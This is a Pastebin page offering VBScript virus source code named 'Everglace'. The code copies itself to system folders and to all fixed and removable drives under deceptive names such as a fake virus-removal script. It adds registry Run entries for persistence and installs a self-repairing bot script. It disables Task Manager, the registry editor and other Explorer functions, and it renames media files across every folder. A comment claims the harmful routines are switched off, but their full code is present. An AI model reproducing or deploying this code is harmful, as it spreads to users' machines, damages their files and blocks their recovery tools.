Advertisement
FlyFar

Everglace - VBS Virus Source Code

Feb 2nd, 2023
1,472
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. On Error Resume Next
  3.  
  4. Dim WShell, Fso, DirWin, DirSystem, DirTemp, Mee
  5.  
  6. Set WShell = WScript.CreateObject("WScript.Shell")
  7. Set Fso = CreateObject("Scripting.FileSystemObject")
  8.  
  9. Set DirWin = Fso.GetSpecialFolder(0)
  10. Set DirSystem = Fso.GetSpecialFolder(1)
  11. Set DirTemp = Fso.GetSpecialFolder(2)
  12.  
  13.  
  14. 'Virus Working STARTs
  15.  
  16.  
  17. ' Currently all the "bad parts" are commented out
  18.  
  19. 'SpreadMe()
  20. 'SpreadDrift()
  21. 'SpreadBot()
  22. 'DisableThings()
  23. 'ReconComputer()
  24. Messages()
  25.  
  26. ' ########################################################################
  27.  
  28. Sub SpreadMe()                                      'Spread Myself
  29.     On Error Resume Next
  30.  
  31.     Dim Mee, AllDrives, Drive
  32.     Set Mee = Fso.GetFile(WScript.ScriptFullName)
  33.  
  34.     'Going to Main Directories
  35.     Mee.Copy(DirSystem & "\MSKernel32.vbs")
  36.     Mee.Copy(DirSystem & "\Encry-Decry-Script.vbs")
  37.     Mee.Copy(DirWin & "\Win32DLL.vbs")
  38.  
  39.     Set AllDrives = Fso.Drives
  40.     For Each Drive in AllDrives
  41.         'REMOVABLE or FIXED drives
  42.         If (Drive.DriveType = 1) or (Drive.DriveType=2)Then
  43.             If Drive.Path&"\" <> "A:\" Then
  44.                 Mee.Copy(Drive.Path & "\Psych0's Virus Removal.vbs")
  45.                 AddFolder drive.Path&"\", "Psych0's Virus Attack"
  46.             End If
  47.         End If
  48.     Next
  49. End Sub
  50.  
  51. Sub SpreadDrift()                                   'Spread Mouse Drifter
  52.     On Error Resume Next
  53.     Dim Drift
  54.     Set Drift = Fso.GetFile(DirSystem & "\smps.exe")
  55.     Drift.Copy(DirWin & "\msdfmap.exe")
  56.     Wshell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MicroSMPSDriver",DirSystem &"\smps.exe"
  57.     Wshell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Data Format Map",DirWin &"\msdfmap.exe"
  58. End Sub
  59.  
  60. Sub SpreadBot()                                     'Spread The Bot
  61.     On Error Resume Next
  62.     Dim TempBotData, BotFileData, Bot
  63.  
  64.     TempBotData = "On Error Resume Next" & vbcrlf &_
  65.             "Set WShell = WScript.CreateObject(@-@WScript.Shell@-@)" & vbcrlf &_
  66.             "Set Fso = CreateObject(@-@Scripting.FileSystemObject@-@)"& vbcrlf &_
  67.             "Set DirWin = Fso.GetSpecialFolder(0)"& vbcrlf &_
  68.             "Set DirSystem = Fso.GetSpecialFolder(1)"& vbcrlf &_
  69.             "DriftRead = Wshell.RegRead(@-@HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MicroSMPSDriver@-@)"& vbcrlf &_
  70.             "DriftRead2 = Wshell.RegRead(@-@HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Data Format Map@-@)"& vbcrlf &_
  71.             "If (DriftRead <> DirSystem &@-@\smps.exe@-@) Or (DriftRead <> DirSystem &@-@\msdfmap.exe@-@) Then"& vbcrlf &_
  72.             "Wshell.RegWrite @-@HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MicroSMPSDriver@-@,DirSystem &@-@\smps.exe@-@"& vbcrlf &_
  73.             "Wshell.RegWrite @-@HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Data Format Map@-@,DirWin &@-@\msdfmap.exe@-@"& vbcrlf &_
  74.             "End If"
  75.  
  76.     BotFileData = Replace(TempBotData,chr(64)&chr(45)&chr(64),"""")
  77.  
  78.     Set Bot = Fso.CreateTextFile(DirSystem & "\Drivers\Etc\Hostsvc.vbs")
  79.     Bot.Write BotFileData
  80.     Bot.Close
  81.  
  82.     Wshell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\HostService",DirSystem &"\Drivers\Etc\Hostsvc.vbs"
  83. End Sub
  84.  
  85. Sub DisableThings()                                 'Disable TaskManager, Registry Editor and Some Other Stuff
  86.     Dim SysKey, ExpKey, Typ, key1, key2, key3, key4, key5, key6
  87.  
  88.     Typ = "REG_DWORD"
  89.     SysKey = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"
  90.     ExpKey = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
  91.  
  92.     key1 = SysKey & "DisableTaskMgr"
  93.     key2 = SysKey & "DisableRegistryTools"
  94.  
  95.     key3 = ExpKey & "NoFolderOptions"
  96.     key4 = ExpKey & "NoRun"
  97.     key5 = ExpKey & "NoFileMenu"
  98.     key6 = ExpKey & "NoFind"
  99.  
  100.     WShell.RegWrite key1, 1, Typ
  101.     WShell.RegWrite key2, 1, Typ
  102.     WShell.RegWrite key3, 1, Typ
  103.     WShell.RegWrite key4, 1, Typ
  104.     WShell.RegWrite key5, 1, Typ
  105.     WShell.RegWrite key6, 1, Typ
  106. End Sub
  107.  
  108. Sub ReconComputer()
  109.     On Error Resume Next
  110.     Dim AllDrives, Drive
  111.     Set AllDrives = Fso.Drives
  112.  
  113.     For Each Drive in AllDrives
  114.         'REMOVABLE or FIXED drives
  115.         If (Drive.DriveType = 1) or (Drive.DriveType=2)Then
  116.             If Drive.Path&"\" <> "A:\" Then
  117.                 indexFolders(drive.Path&"\")
  118.             End If
  119.         End If
  120.     Next
  121. End Sub
  122.  
  123. Sub indexFolders(Drive)                             'Create A Text File In All Folders
  124.     On Error Resume Next
  125.     Dim FolPath,Fol,SubFols,FolText
  126.     set FolPath = Fso.GetFolder(Drive)
  127.     set SubFols = FolPath.SubFolders
  128.  
  129.     For Each Fol in SubFols
  130.         Set FolText = Fso.CreateTextFile(Fol.Path&".txt", 2, True)
  131.         FolText.Write MyMessage
  132.         FolText.Close
  133.         MP3Corrupt(Fol.Path)
  134.         indexFolders(Fol.Path)
  135.     next
  136. end sub
  137.  
  138. Sub AddFolder(path, folderName)                     'Adds A Folder to a specified Path
  139.     On Error Resume Next
  140.     Dim Fol, SubFols
  141.     Set Fol = Fso.GetFolder(path)
  142.     Set SubFols = Fol.SubFolders
  143.     If folderName <> "" Then
  144.         SubFols.Add(folderName)
  145.     Else
  146.         SubFols.Add("New Folder")
  147.     End If
  148. End Sub
  149.  
  150. Sub MP3Corrupt(Dir)                                 'Change Extensions Of Some Media Files
  151.     On Error Resume Next
  152.     Dim Wmi, FileList, File, NewName
  153.  
  154.     Set Wmi = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
  155.     Set FileList = Wmi.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"& Dir &"'} Where ResultClass = CIM_DataFile")
  156.  
  157.     For Each File In FileList
  158.         If File.Extension = "mp3" Then
  159.             NewName = File.Drive & File.Path & File.FileName & "." & "mp3glace"
  160.             File.Rename(NewName)
  161.         ElseIf File.Extension = "mp4" Then
  162.             NewName = File.Drive & File.Path & File.FileName & "." & "mp4glace"
  163.             File.Rename(NewName)
  164.         ElseIf File.Extension = "flv" Then
  165.             NewName = File.Drive & File.Path & File.FileName & "." & "flvglace"
  166.             File.Rename(NewName)
  167.         End If
  168.     Next
  169. End Sub
  170.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement